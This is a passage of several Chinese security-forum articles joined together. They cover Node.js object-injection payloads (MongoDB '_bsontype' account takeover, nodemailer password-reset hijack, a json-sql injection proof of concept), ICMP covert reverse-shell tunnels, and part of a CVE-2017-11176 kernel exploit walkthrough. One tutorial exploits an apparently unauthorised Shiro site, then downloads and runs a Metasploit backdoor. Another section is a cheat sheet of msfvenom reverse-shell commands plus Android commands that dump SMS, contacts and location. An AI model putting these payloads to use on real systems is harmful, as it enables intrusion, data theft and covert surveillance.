如果id存在`toHexString`方法的话，就直接返回id原来的内容。于是经过ObjectId这个函数的变化，我们的任何数据都没有被更改转化。(注意上面一句else
if 用的是 id.length===12，所以可以用"12"字符串形式来绕过)
### MongoDb的bson序列化问题
MongoDb的用户查询语句是如何进行传递的呢？这中间其实经过了一步bson序列化过程，这也是MongoDb独有的序列化过程。
它的具体代码可以在 <https://github.com/mongodb/js-bson/blob/V1.0.4/lib/bson/parser/serializer.js>
看到。
这个bson序列化的过程是遵循统一的一个标准来进行的，不止NodeJS存在这样的库，PHP，Python等常见编程语言都提供了这样的库。他们的具体流程都大致为
1. 判断查询语句类型。
2. 根据类型进行封装，同时加上特有的数据头部标识。
其中NodeJs的相应库很有意思
他检测了数据是否有_bsontype这个属性，然后根据这个属性来进行不同的序列化过程。于是我们很容易想到可以利用不同数据的格式特性，来打造不同的Object，序列化成我们想要的结果。例如上面的ObjectId函数处理结果仍然是一个Object，但是我们这样丢到Object对应的序列化函数中，产生的结果再传入MongoDb引擎里进行query解析，结果一定是会出错的，我们就需要换一种思路让它不会报错，就是用_bsontype控制它到其他分支去，利用序列化过程中的信息剔除，将我们欲绕过ObjectId构造的length等信息去掉。
在RCTF,0CTF等一系列的calc题目中，我们可以看到它所利用的点就是这里的问题。
<https://github.com/zsxsoft/my-ctf-challenges>
### 一个比较有趣的新问题 (应用在realworldCTF2019线下赛MarxJS)
StarCTF之后，在和选手的讨论中得知选手可以在996game中任意登陆第一个用户的账号，我们一起对原因进行了检查。
发现是由于在bson序列化的过程中，他传入的是一个不存在的_bsontype，然后在那些分支都走过之后，因为没有对应的bsontype，所以最终没有序列化任何query，于是造成了
**findone({})这种查询条件为空的情况，成功选中第一个用户**
这个Bug十分有意义。例如在一个找回密码的场景，需要输入一个比较特别的id的时候`findone({"userid":userinput)`
这时候我们就可以利用这个技巧，让查询语句变成`findone({})`，从而更改第一个用户的密码，而第一个用户大多是admin用户。
## nodemailer
有了上面这个case之后，我又在和别人的一个合作项目中负责看了下别的库的相似问题。接下来我会讲讲我发现的nodemailer这个库。
我是在寻找使用MongoDb的一些上层框架，在一个Web框架中发现它使用了nodemailer搭配MongoDb来实现找回密码的功能。
大致的情况与我在RealWorld CTF2019出的题目相似。
题目附件
<https://github.com/5lipper/ctf/tree/master/rwctf19-final/marxjs>
相关代码如下
const user = await getMongoRepository(User).findOne({ email: ctx.request.body.email });
if (!user) {
return new HttpResponseBadRequest('user not found');
}
const newpass = await generateToken();
const passhash = await hashPassword(newpass);
const res = await getMongoRepository(User).updateOne(
{ email: ctx.request.body.email }, { $set: { password: passhash}});
if (!res) {
return new HttpResponseInternalServerError('something error.');
}
const transporter = createTransport(
Config.get('mailserver')
);
const message = {
from: Config.get('mailfrom'),
to: ctx.request.body.email,
subject: 'New password',
text: 'Your new password: ' + newpass
};
const info = await transporter.sendMail(message);
return new HttpResponseRedirect('/signin');
我们已经知道MongoDb可以通过传入不存在的bsontype来选中第一个用户，但是这里`ctx.request.body.email`如果是一个Object,怎么让它把邮件发送到你可以控制的邮箱里呢？
通过审计nodemailer ( <https://github.com/nodemailer/nodemailer> )
的代码，我发现如果`to`这个object存在`address`这个属性，那么就会向`address`对应的地址发送邮件。
然而这个用法并没有在官方文档提及到，所以开发者自然不会意识到有这种问题。
从而这个利用payload就可以为`{"email":{"address":"your email
address","_bsontype":"a"},...}`
**任意修改第一个用户密码**
## class-validator
这个库的问题其实很有趣。早在0CTF2019 Final，我们就可以看到RR师傅出了一个有关nestjs的漏洞的题。
<https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/2.md>
<https://github.com/nestjs/nest/commit/b3f51cc9c110017ebc8f6ec12da6b92d96f37caa#diff-11537d189f48488671d5be4d1c5daffeR97>
但实际上，造成这个问题的本身原因是class-validator. 我们也可以看到nestjs的patch仅仅为
class-validator这个数据类型检测器被广泛使用在各个Web框架里，通常与Body解析器构成触发式验证。但是如果Body中存在 **proto**
这个键的话，就会直接跳过验证。
这里有个我之前针对calcgame的分析
<https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/S1kUedPdS>
这一点我也应用到RealworldCTF 2019中了
## request
<https://github.com/request/request>
request库存在参数har可以覆盖请求方式等参数。
RealWorldCTF 2019 Final中
async checkstatus(ctx: Context) {
await rp.head(ctx.request.body.url).then(() => { this.status = true; },
() => { this.status = false; } );
return new HttpResponseRedirect(this.status ? '/admin?alive=true' : '/admin?error=true');
}
可以通过传入 `{"url":{"har":"POST"}}` 更改head请求方式为POST
## pomelo
pomelo是一个非常老的网易的HTML5游戏框架
<https://github.com/NetEase/pomelo>
但是其handler存在比较明显的问题，可导致服务器崩溃或其他问题。
<https://github.com/NetEase/pomelo/blob/5f7bec1c9be5fa2f88a366b15085cf64d4e786d7/lib/common/service/handlerService.js#L59>
它根据客户端传过来的route `a.b.c`以及msg
`d`，用来调用任意一个`a.b.c(d)`。于是存在很多可以down掉服务端的办法，甚至可能是RCE。
我当时寻找到的例子是
<https://github.com/NextZeus/lordofpomelo>
通过`pomelo.request('connector.entryHandler.constructor', { get:{} }`
调用到下面这段app初始化代码
var Handler = function(app) {
this.app = app;
if(!this.app)
logger.error(app);
};
把`this.app`赋值为`{"get":{}}`
这样服务器每当调用`get`方法的时候，就会报错。因为这里的get覆盖掉了app原生的get方法。
## json-sql
json-sql是一个database前置中间件，它为开发者提供了可以形成SQL查询语句的接口
<https://github.com/2do2go/json-sql>
但是通过审计代码笔者发现这个库存在着问题，如果用户输入是一个Object，那么将有机会形成可以SQL注入的语句。(注意这个库正常是将动态查询参数作为预编译进行处理的)
下面是例子，注意name和id同为查询的condition，正常来说，应该是name所对应的情况，也就是应该做预编译处理。
但是如果我对id输入一个Object，同时指定了两个hidden parameters (cast 或
alias)，就形成了可以SQL注入的机会（直接改变原始SQL语句）
var jsonSql = require('json-sql')();
function testselect(query) {
var sql = jsonSql.build({
type: 'select',
table: 'users',
fields: ['name', 'age'],
condition: query
});
console.log(sql);
}
testselect({"name":"wupco","id":{"cast":"aaa'\"bbb"}});
console.log("\n[*] result of hipar : alias\n");
testselect({"name":"wupco","id":{"alias":"aaa'\"bbb"}});
/*
[*] result of hipar : cast
{
query: `select "name", "age" from "users" where "name" = $p1 and cast("id" as aaa'"bbb);`,
values: { p1: 'wupco' },
prefixValues: [Function: prefixValues],
getValuesArray: [Function: getValuesArray],
getValuesObject: [Function: getValuesObject]
}
[*] result of hipar : alias
{
query: `select "name", "age" from "users" where "name" = $p1 and "id" as "aaa'"bbb";`,
values: { p1: 'wupco' },
prefixValues: [Function: prefixValues],
getValuesArray: [Function: getValuesArray],
getValuesObject: [Function: getValuesObject]
}
*/
## 分析总结
上面几个问题都是Javascript语言特性带来的问题。当然大部分和当代Node
Web框架脱离不了干系，可以很轻松的转换数据传输方式（大部分Web框架接受多种数据传输方式，特别是只需要更改request头部的content-type为json就可以使用json来传输数据）。这样存在的问题是大部分Web框架其实是通过Object来处理信息的(因为都是将json解析成Object)。
不合理使用node modules，或者各个modules官方文档没有给出足够的说明，就会导致漏洞的产生，这种漏洞大多是dos漏洞或者逻辑漏洞。
在使用nodejs进行开发的时候，要注意时刻检查输入类型，不能轻信第三方validator或check，这些说不定本身就存在问题，例如class-validator，是使用最多的数据检查器，但却被轻而易举的绕过，并且还不修复。
## 其他
其实上面很多bug都很简单，简单到不能算作漏洞，但是组合起来可能就造成严重漏洞。 | 社区文章 |
# ICMP隐蔽隧道从入门到精通
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
众所周知传统socket隧道已极少，tcp、upd大量被防御系统拦截，dns、icmp、http/https等难于禁止的协议（当然还有各种xx over
dns/icmp/http，后续再讲）已成为黑客控制隧道的主流。
本文从技术原理、实现方式、检测防御等多个维度解释隐蔽性最强的icmp隧道的相关知识，但不深入探讨编程实现，仅作为一篇科普文章，所以用了“从入门到精通”这个标题，本来就是科普(〃’▽’〃)，请大神绕过！谢谢！！
## 起源
说起icmp其实要从最早的免费上网说起。
当年互联网刚刚兴起的时候，上网费是很贵的，难说一不小心上个网就能我们穷学生倾家荡产！后来聪明的同学开始研究技术，虽然我们的网络断了（不是拨号那种无法获得ip的，需要有ip），但是ping
ip还是可以的，于是就利用icmp隧道将访问转发到自己的一台放置在公网代理，利用代理中转访问公网，实现免费上网，虽然速率不高，但是免费嘛。
了解了起源，知道他的由来了，我们就好奇了，这技术是怎么回事？最后为啥又成了黑客用的隐蔽隧道呢，其实正所谓技术本无罪，只是看被什么人用罢了。我们主要关注技术原理即可。
## 技术原理
怎么可以实现这种神奇的通信呢，这就要从协议这个东西的基本原理说起，打开rfc（[https://www.rfc-editor.org/search/rfc_search_detail.php）查询ping使用的icmp协议](https://www.rfc-editor.org/search/rfc_search_detail.php%EF%BC%89%E6%9F%A5%E8%AF%A2ping%E4%BD%BF%E7%94%A8%E7%9A%84icmp%E5%8D%8F%E8%AE%AE)
查看详情RFC792
<https://www.rfc-editor.org/info/rfc792>
<https://www.rfc-editor.org/rfc/rfc792.txt>
你会发现icmp协议的结构如下：
其中0~31是各种协议头部，那剩下的呢？当然就是data了！原本默认ping传输的是：
windows系统，默认传输32bytes，内容是abcdefghijklmnopqrstuvwabcdefghi，共32bytes
linux系统，稍显复杂，默认Data传输的是48bytes，在Date之前多了一个Timestamp from icmp
data头，占用8bytes,如e5 0d 44 5b 00 00 00 00（Jul 10, 2018 09:37:41.000000000
CST），详情如下：
1、%%%%，4个%在0~f间变化，发送和返回相同，不同发送返回不同（笔者未深入研究规律和代表内容），占用2个bytes
2、090000000000，前两位%%在变动，同一次ping操作，无论发送接收多少包，此数值不变，下一次ping则此值会变动（笔者未深入研究规律和代表内容），占用6bytes
3、101112131415161718191a1b1c1d1e1f20（规律是从10开始的16进制递增，一直到20），占用17bytes
4、!”#$%&’() _+,-./01234567,占用23bytes
_
经过简单的分析确认，windows固定传输的是abcdefghijklmnopqrstuvwabcdefghi，linux固定传输的是!”#$%&’()+,-./01234567，那我们能否改变这些data填充我们自己的数据呢？
答案是当然是可以！
这就是icmp隐蔽隧道的原理：替换Data部分。windows简单，替换后解决checksum即可，linux稍复杂，替换后要还要满足原有的其他规律（笔者主要领域是windows，有兴趣的读者可以研究下），防止链路上的设备对错误包进行抛弃处理。
此外，还有一点需要补充，ping的包大小，也就是data大小是可以修改的，如修改为1024bytes，以windows为例：
则，从包体看效果如下，可见规律还是一样，重复罢了。
最后，还有一个关键问题！
你发送了修改了data的数据，对方的系统能否正常处理你的畸形ping数据呢？还有对方回包的畸形ping应答数据，你自身能否处理呢？很明显，标准的windows系统和linux系统是无法处理畸形data的数据的，所以我们还需自己的ping发送和应答程序替代系统的本身的ping。那么接下来，我们就来看看各种畸形ping处理工具，也即是icmp隧道工具。
## 工具实现
这里我们不用虚拟机演示，避免只是演示不能实践的窘境！
笔者一开始接触icmp
shell时，参考各种用虚拟机演示的文章，发现用虚拟机ok但是真实环境不行，所以踩坑后为了让大家不踩，我们采用真实的公网vps+内网终端演示，环境：
1、vps为linux，内网终端为windows；
2、vps无法ping通内网终端的内网ip；
3、内网终端可以ping通公网独立ip的vps.
好，说明完，我们看看怎么实现:
### icmp.sh
先说这个，是因为这个包括一个通用的icmp server端(前面说过，这个是必须的)，可以被其他方式的被控端复用，下载在github找即可，操作如下
**server端**
正如前面说的，我们的server端要替代系统本身的ping的应答程序，要不shell不稳定（现象是一直提刷屏，无法交互输入），先关闭系统的ping应答，方法如下（恢复系统应答则=0）：
然后就可以启动我们自己的icmp应答程序了
第一个ip为vps的ip，是独立的公网ip，建议用搬瓦工即可
第二个ip是agent的公网ip，但这个所谓的公网ip有玄机，严格说这个ip应该是server端看到的ip，为了得到这个ip可以从内网终端ping这个vps，在vps用tcpdump
icmp获取这个ip，然后填写。如下：
如果您要用这个server作为您自己的木马组件则要自动判定，建议anget木马程序弹shell之前，先ping一下server（调整独特ping大小，次数等，防止server误判），server根据ping自动启动server配置。
**agent端**
按照github上这个工具作者的文章，如下：
这个ip就是公网的vps的ip了。这样在server端就可以获取到shell了
数据包分析,课件windows替换了data，大小增大到113
### powershell icmp
**server端**
同上
**agent端**
这个就不多说了，都是玩这个的，如下
ip还是sever的ip，咱们的vps的ip，获取shell，没有乱码，所以笔者还是喜欢powershell这个神器！
### meterpreter
虽然写了这个，是因为笔者认为它应该有icmp的反弹shell，但是竟然没找到，也许是寻找方法不对，有知道的同学麻烦留言，感谢！
### icmptunnel、ptunnel等
主要用作xx over icmp使用，相对复杂，但是可以让传统的tcp、udp木马再次有用武之地，后续探讨。
当然除了以上还有很多其他工具，如linux下的PRISM（也支持mac、安卓）等等，还有很多人自己的写的python实现，可以说是现有工具已经遍地开花，那就更别说专业黑客在自己的代码中直接实现的了，所以对抗icmp隧道迫在眉睫！
## 检测和防御
明白了原理，也模拟了工具的使用，那么防御和检测就简单，只需要禁止ping就可以完全屏蔽此类隐蔽隧道风险，但如果要考虑用户体验，那就只有解析包体了，然后做否定判定，也就是说只要ping的data不是标准的windows、linux的data包体（标准大包为合法）内容，则判定非法，报警拦截即可。
不过笔者没研究除了windows、linux以外系统ping的实现，如macos、安卓各个版本、各个网络设备等，建议安全防御者先解析包体，然后分析合法data，形成白data清单，最终再做“否”判定。
## 最后的思考
我们这里只探讨最常见的ping（ICMP类型为0和8），那icmp的其他类型是否可以外传、交互shell？继续研究！
审核人：yiwang 编辑：边边 | 社区文章 |
# 0x01 前言
后门技术一直是渗透测试中十分重要的一个环节，初次接触后门技术还了解的比较浅显，本篇文章只是一次学习记录，没有涉及免杀和权限维持的相关内容，大佬勿喷。
# 0x02 MSF生成linux后门实战
## 实战背景
闲来无事，无意间发现了一个使用了shiro的登录界面，那就测试一下吧
## 利用shiro反序列化漏洞
目标系统界面如下
登录后，使用Burpsuite抓包，发现shiro特征字段
使用shiro反序列化利用工具进行漏洞检测
shiro反序列化漏洞存在，并且能够成功反弹shell
## 植入linux后门
### 植入后门思路
1. 使用msf生成linux后门，并传到web服务器上
2. 通过wget将后门文件下载到目标主机
3. 运行后门
### 具体操作
#### msf生成后门
[root@iz2zegeplp9c3s6hch0jhfz msf]# msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
msf6 exploit(multi/handler) > set lport 9991
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
#### 下载后门到目标主机
wget http://xxx.xxx.xxx/shell
更改shell后门权限
chmod 777 shell
#### 运行后门获取shell
./shell
msf中成功反弹shell
成功获取服务器权限
# 0x03 MSF生成windows后门
## 实验环境
攻击机：个人vps
靶机：windows server 2012(192.168.122.137)
## 植入windows后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
进入msfconsole中进行配置
在windows server中模拟受害者点击exe后门文件
成功获取shell，并执行命令
# 0x04 MSF生成PHP后门
## 实验环境
攻击机：个人vps
靶机：centos(192.168.122.133)
## 植入PHP后门
使用msfvenom生成PHP后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
在msfconsole中进行配置
通过wget将PHP后门下载到靶机
运行PHP后门
php ./text.php
成功获取服务器权限
MSF生成JSP，ASP后门的利用方式与PHP后门基本相同，这里就不举例了，在文章最后会罗列出具体payload
# 0x05 MSF生成Android后门
## 实验环境
攻击机：个人vps
靶机：夜神安卓模拟器
## 具体操作
### 生成Android后门
使用msfvenom生成Android后门
msfvenom -p android/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port R > /root/android.apk
### 反弹shell
配置msfconsole进行监听
运行安卓程序，成功获取shell
获取shell后可以执行一些危害较大的操作
* check_root #查看是否root
* dump_calllog #下载通讯记录
* dump_contacts #下载联系人
* dump_sms #下载短信
* send_sms #发送短信
* record_mic #录音
* webcam_list #查看手机摄像头
* webcam_snap #拍照
* webcam_stream #连续拍照
* geolocate #获取目标地理位置
* upload #上传文件到手机
* download #下载手机上的文件
* shell #进入手机的bash shell
获取命令行shell
# 0X06 利用MSF生成其他后门总结补充
msfvenom -l 列出所有模块，攻击载荷
Binaries
linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
msfvenom -p osx/x86ell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
参考文章：
1.<https://blog.csdn.net/qq_41514928/article/details/83108530>
2.<https://y00z.github.io/2016/12/19/diary-2016-1219-01/> | 社区文章 |
# 新手向——CVE-2017-11176漏洞分析（下）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前在网上看到有翻译成中文的此漏洞英文分析文章，可惜就翻译了前两篇。并且在我实践时，发现原本的英文文章也有不小的问题，它使用内核版本也比较旧，所以我换了一个现在还算常用的内核版本线，尝试写出特定的exp，也希望和大家一起交流。
**此文谨学习交流，切勿进行违法行为。**
## linux内核中的双向链表
Linux内核驱动开发会经常用到Linux内核中经典的双向链表 **list_head**
，以及它的拓展接口和宏定义：`list_add`、`list_add_tail`、`list_del`、`list_for_each_entry`等。
struct list_head {
struct list_head *next, *prev;
};
开始创建一个链表头 **head_task** ，并使用`LIST_HEAD(head_task)`进行初始化，如下所示：
创建完成后，然后创建第一个节点，再通过使用`list_add`接口将这个 **first_task** 节点插入到 **head_task** 之后：
以此类推，每次插入一个新的节点，都是紧靠着 **head_task** 节点的，而之前插入的节点以此排序靠后，所以最后的哪个节点是第一个插入
**head_task** 的哪个节点，所以结论是：先来的节点靠后，而后来的节点靠前，也就是 **先进后出，后进先出** ，类似于栈。
上图有个问题，就是 **prev** 的指针指向的前者的 **next** 对象，而不是橙色的头部指针操作都限制于 **list** 里。
更多的就希望读者自己学习了。
## slab内存分配
在SLUB分配器下，`slab`的管理主要由`struct kmem_cache`完成。`kmalloc`可以分配的内存块大小从 8 开始，以 2
的指数上涨，一直到页大小，注意其中 96、192 两块优化后增加的内存大小，每个块都有自己的`struct kmem_cache`。
简单来说，每个 CPU 都拥有一个`struct kmem_cache_cpu`，它拥有`page`和`partial`两个成员。
`page`管理着此 CPU 首先分配的内存,其中空闲`slab`会被`freelist`管理，如果`slab`占满，就会把整个 **Page**
放入`full slabs`里系统统一管理，同时`partial`会拿出一份 **Page** 交给`page`管理。
如果`partial`中的 **Page** 里被使用`slab`低于一定阀值，就会把此 **Page** 放入`struct
kmem_cache_node`管理的超大`nr of slabs`里。在其中的 **Page**
里被使用`slab`又低于一定阀值，将会被系统自动释放其中正在使用的`slab`。
当然，某一 CPU 的内存块用尽后，会从`nr of slabs`里抓取放入`partial`成员中，如果还不够，就需要伙伴系统来再分配新的大块内存页。
## 构造提权利用
根据上面构造poc的过程，已经知道内存崩溃在什么地方，接下来就 **需要去控制此块内存的内容** 。
### 指定单一CPU
首先，根据`SLUB`分配原则，不同 CPU 拥有不同内存块，所以我们需要在一开始就固定住特定的 CPU 去运行程序，增加控制到该块内存的几率。
void migrate_to_cpu0() {
cpu_set_t set;
CPU_ZERO(&set); //初始化为0
CPU_SET(0,&set); //设置CPU指定为0号
//绑定当前进程到指定的CPU上
if (sched_setaffinity(_getpid(), sizeof(set), &set) == -1){
perror("sched_setaffinity wrong");
exit(-1);
}
}
### 选择堆喷射的工具
其次，被控制的内存块是`struct sock`，也因为被`nlk()`函数改造成`struct
netlink_sock`，而最后需要利用的指针函数也在`struct netlink_sock`里，所以应该查看`struct
netlink_sock`的结构体大小。这里使用`pahole`工具。
`struct netlink_sock`总大小是 1000 字节，而即使是`struct sock`大小也有 704 ，超过了 512 字节，都在
1024 字节的`slab`中。所以需要一个可以提供 1024 字节大小，并且内容可以自己填写的相对稳定`slab`。
之后发现，在`sendmsg()`函数把数据送入内核后，内核`___sys_sendmsg()函数`会短暂的出现一个长度和内容都可以自己控制的辅助块（除了头
16 个字节不可控），不过它在函数结束前就会释放，所以在其中就要将运行它的进程阻塞。
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
//cmsghdr的大小为 16，ctl总共为 36
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__aligned(sizeof(__kernel_size_t));
/* 20 is size of ipv6_pktinfo */
[...]
//msg_sys和msg实为同一内容不同内存
if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov);
[...]
//用户提供的msg_controllen的大小要小于等于INT_MAX
if (msg_sys->msg_controllen > INT_MAX)
goto out_freeiov;
//allowed_msghdr_flags为0，flags即为flags
flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
//ctl_len值就等于用户提供的msg_controllen
ctl_len = msg_sys->msg_controllen;
//MSG_CMSG_COMPAT值经查询为0x80000000，flags一般设置为0即可进入else if判断
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
[...]
} else if (ctl_len) {
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
//辅助块struct cmsghdr一般只有16字节，只有有更多data时会扩充
if (ctl_len > sizeof(ctl)) {
//创建辅助块的ctl_len可以由用户态控制，同时注意sock_kmalloc()函数限制
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/*
* Careful! Before this, msg_sys->msg_control contains a user pointer.
* Afterwards, it will be a kernel pointer. Thus the compiler-assisted
* checking falls down on this.
*/
//把ctl_buf中的内容由用户态的msg_control提供，msg_control即是辅助块struct cmsghdr
if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
msg_sys->msg_flags = flags;
[...]
err = sock_sendmsg(sock, msg_sys);
[...]
out_freectl:
//只要辅助块写入过用户态传入的值，说明申请过内存块，需要对其释放，所以辅助块生命周期很短
if (ctl_buf != ctl)
sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out_freeiov:
kfree(iov);
return err;
}
//表面上cmsghdr只有一点点成员，实际你可以在其后创建一块data
struct cmsghdr {
__kernel_size_t cmsg_len; /* 0 8 */
int cmsg_level; /* 8 4 */
int cmsg_type; /* 12 4 */
/* size: 16, cachelines: 1, members: 3 */
/* last cacheline: 16 bytes */
};
在申请内存而调用的函数是sock_kmalloc()函数，申请时有个关于系统自身属性`optmem_max`的限制，可以通过以下命令查看系统的`optmem_max`：
cat /proc/sys/net/core/optmem_max
只有其 **大于 512 时才可以继续这条提权之路**
void *sock_kmalloc(struct sock *sk, int size, gfp_t priority)
{
//这块申请内存大小和避免race而总共申请都要小于optmem_max，所以最后喷射的堆也不能很多
if ((unsigned int)size <= sysctl_optmem_max &&
atomic_read(&sk->sk_omem_alloc) + size < sysctl_optmem_max) {
void *mem;
/* First do the add, to avoid the race if kmalloc
* might sleep.
*/
atomic_add(size, &sk->sk_omem_alloc);
//创建内存块
mem = kmalloc(size, priority);
if (mem)
return mem;
atomic_sub(size, &sk->sk_omem_alloc);
}
return NULL;
}
### 阻塞发送端进程
接下来，为了去阻塞该进程，需要两点：
1. 选择一个合适的`socket`协议，既不会抢占 1024 字节，也不会触碰 UAF 的内存块，即选择`AF_UNIX`
2. 寻找函数来设置`timeo`的值，使进程产生阻塞，并且阻塞时间尽可能大，即仍然为`setsockopt()`函数
不用原来的`netlink`套接字流程，主要因为其中netlink_getsockbypid()函数，它会遍历`nl_table`里成员，可能会对 UAF
内存块产生致命影响。
static struct sock *netlink_getsockbyportid(struct sock *ssk, u32 portid)
{
struct sock *sock;
struct netlink_sock *nlk;
//此处会查找连接的recv_fd
sock = netlink_lookup(sock_net(ssk), ssk->sk_protocol, portid);
if (!sock)
return ERR_PTR(-ECONNREFUSED);
/* Don't bother queuing skb if kernel socket has no input function */
nlk = nlk_sk(sock);
if (sock->sk_state == NETLINK_CONNECTED &&
nlk->dst_portid != nlk_sk(ssk)->portid) {
sock_put(sock);
return ERR_PTR(-ECONNREFUSED);
}
return sock;
}
static struct sock *netlink_lookup(struct net *net, int protocol, u32 portid)
{
struct netlink_table *table = &nl_table[protocol];
struct sock *sk;
rcu_read_lock();
//到对应协议的hash表单中寻找
sk = __netlink_lookup(table, portid, net);
if (sk)
sock_hold(sk);
rcu_read_unlock();
return sk;
}
那么，在`AF_UNIX`协议中一般使用`struct
sockaddr_un`，它仅包含成员`sun_family`和`sun_path`，很独特的是它的端口是类似于文件路径，使它更像是共享内存模式，将`sun_path`头字节置为
0 ，就不会有寻找不到路径的麻烦。
//该协议在sendmsg下进入的是此函数
static int unix_dgram_sendmsg(struct socket *sock, struct msghdr *msg,
size_t len)
{
struct sock *sk = sock->sk;
struct net *net = sock_net(sk);
struct unix_sock *u = unix_sk(sk);
DECLARE_SOCKADDR(struct sockaddr_un *, sunaddr, msg->msg_name);
struct sock *other = NULL;
int namelen = 0; /* fake GCC */
int err;
unsigned int hash;
struct sk_buff *skb;
long timeo;
struct scm_cookie scm;
int max_level;
int data_len = 0;
int sk_locked;
wait_for_unix_gc();
//需要绕过此函数的判断条件
err = scm_send(sock, msg, &scm, false);
if (err < 0)
return err;
err = -EOPNOTSUPP;
if (msg->msg_flags&MSG_OOB)
goto out;
if (msg->msg_namelen) {
err = unix_mkname(sunaddr, msg->msg_namelen, &hash);
if (err < 0)
goto out;
namelen = err;
} else {
sunaddr = NULL;
err = -ENOTCONN;
other = unix_peer_get(sk);
if (!other)
goto out;
}
if (test_bit(SOCK_PASSCRED, &sock->flags) && !u->addr
&& (err = unix_autobind(sock)) != 0)
goto out;
err = -EMSGSIZE;
if (len > sk->sk_sndbuf - 32)
goto out;
if (len > SKB_MAX_ALLOC) {
data_len = min_t(size_t,
len - SKB_MAX_ALLOC,
MAX_SKB_FRAGS * PAGE_SIZE);
data_len = PAGE_ALIGN(data_len);
BUILD_BUG_ON(SKB_MAX_ALLOC < PAGE_SIZE);
}
//最终阻塞和判断都在此函数中
skb = sock_alloc_send_pskb(sk, len - data_len, data_len,
msg->msg_flags & MSG_DONTWAIT, &err,
PAGE_ALLOC_COSTLY_ORDER);
[...]
}
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
struct scm_cookie *scm, bool forcecreds)
{
[...]
//这次由于msg_controllen必须不能为零，就需要去__scm_send()函数中接受检查
if (msg->msg_controllen <= 0)
return 0;
//跳转至此判断函数
return __scm_send(sock, msg, scm);
}
int __scm_send(struct socket *sock, struct msghdr *msg, struct scm_cookie *p)
{
struct cmsghdr *cmsg;
int err;
//只进入一次，第二次因为没有就直接跳出
for_each_cmsghdr(cmsg, msg) {
err = -EINVAL;
/* Verify that cmsg_len is at least sizeof(struct cmsghdr) */
/* The first check was omitted in <= 2.2.5. The reasoning was
that parser checks cmsg_len in any case, so that
additional check would be work duplication.
But if cmsg_level is not SOL_SOCKET, we do not check
for too short ancillary data object at all! Oops.
OK, let's add it...
*/
//长度检查，cmsg_len要大于等于16，又要小于等于整体辅助块的大小
if (!CMSG_OK(msg, cmsg))
goto error;
//cmsg_level需要不等于SOL_SOCKET，即不等于0xffff的某一取值
if (cmsg->cmsg_level != SOL_SOCKET)
continue;
[...]
}
[...]
return 0;
error:
scm_destroy(p);
return err;
}
//cmsg_len要大于等于16，又要小于等于整体辅助块的大小
#define CMSG_OK(mhdr, cmsg) ((cmsg)->cmsg_len >= sizeof(struct cmsghdr) &&
(cmsg)->cmsg_len <= (unsigned long)
((mhdr)->msg_controllen -
((char *)(cmsg) - (char *)(mhdr)->msg_control)))
#define for_each_cmsghdr(cmsg, msg)
